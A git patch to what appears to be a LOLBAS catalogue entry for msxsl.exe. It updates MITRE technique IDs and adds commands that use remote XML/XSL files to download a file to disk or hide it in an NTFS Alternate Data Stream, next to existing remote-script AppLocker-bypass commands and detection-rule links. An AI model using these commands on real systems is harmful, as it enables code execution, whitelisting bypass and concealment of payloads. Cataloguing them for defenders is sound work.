From 4ffdf0ec0b909e045e5eee4b467ebb389bdbd47a Mon Sep 17 00:00:00 2001
From: Ronnie Salomonsen <RonnieSalomonsen@users.noreply.github.com>
Date: Sat, 5 Aug 2023 19:04:09 +0200
Subject: [PATCH] Updated msxsl.yml to include a download and ADS category
 (#276)

---
 yml/OtherMSBinaries/Msxsl.yml | 27 +++++++++++++++++++++------
 1 file changed, 21 insertions(+), 6 deletions(-)

diff --git a/yml/OtherMSBinaries/Msxsl.yml b/yml/OtherMSBinaries/Msxsl.yml
index b7a2cb3..51fe624 100644
--- a/yml/OtherMSBinaries/Msxsl.yml
+++ b/yml/OtherMSBinaries/Msxsl.yml
@@ -9,33 +9,45 @@ Commands:
     Usecase: Local execution of script stored in XSL file.
     Category: Execute
     Privileges: User
-    MitreID: T1218
+    MitreID: T1220
     OperatingSystem: Windows
   - Command: msxsl.exe customers.xml script.xsl
     Description: Run COM Scriptlet code within the script.xsl file (local).
     Usecase: Local execution of script stored in XSL file.
     Category: AWL Bypass
     Privileges: User
-    MitreID: T1218
+    MitreID: T1220
     OperatingSystem: Windows
   - Command: msxsl.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
     Description: Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).
     Usecase: Local execution of remote script stored in XSL script stored as an XML file.
     Category: Execute
     Privileges: User
-    MitreID: T1218
+    MitreID: T1220
     OperatingSystem: Windows
   - Command: msxsl.exe https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml https://raw.githubusercontent.com/3gstudent/Use-msxsl-to-bypass-AppLocker/master/shellcode.xml
     Description: Run COM Scriptlet code within the shellcode.xml(xsl) file (remote).
     Usecase: Local execution of remote script stored in XSL script stored as an XML file.
     Category: AWL Bypass
     Privileges: User
-    MitreID: T1218
+    MitreID: T1220
+    OperatingSystem: Windows
+  - Command: msxsl.exe https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/calc.xml https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/transform.xsl -o <filename>
+    Description: Using remote XML and XSL files, save the transformed XML file to disk.
+    Usecase: Download a file from the internet and save it to disk.
+    Category: Download
+    Privileges: User
+    MitreID: T1105
+    OperatingSystem: Windows
+  - Command: msxsl.exe https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/calc.xml https://raw.githubusercontent.com/RonnieSalomonsen/Use-msxsl-to-download-file/main/transform.xsl -o <filename>:ads-name
+    Description: Using remote XML and XSL files, save the transformed XML file to an Alternate Data Stream (ADS).
+    Usecase: Download a file from the internet and save it to an NTFS Alternate Data Stream.
+    Category: ADS
+    Privileges: User
+    MitreID: T1564
     OperatingSystem: Windows
 Full_Path:
   - Path: no default
-Code_Sample:
-  - Code:
 Detection:
   - Sigma: https://github.com/SigmaHQ/sigma/blob/ff0f1a0222b5100120ae3e43df18593f904c69c0/rules/windows/process_creation/win_xsl_script_processing.yml
   - Elastic: https://github.com/elastic/detection-rules/blob/cc241c0b5ec590d76cb88ec638d3cc37f68b5d50/rules/windows/defense_evasion_msxsl_beacon.toml
@@ -44,6 +56,9 @@ Detection:
 Resources:
   - Link: https://twitter.com/subTee/status/877616321747271680
   - Link: https://github.com/3gstudent/Use-msxsl-to-bypass-AppLocker
+  - Link: https://github.com/RonnieSalomonsen/Use-msxsl-to-download-file
 Acknowledgement:
   - Person: Casey Smith
     Handle: '@subtee'
+  - Person: Ronnie Salomonsen
+    Handle: '@r0ns3n'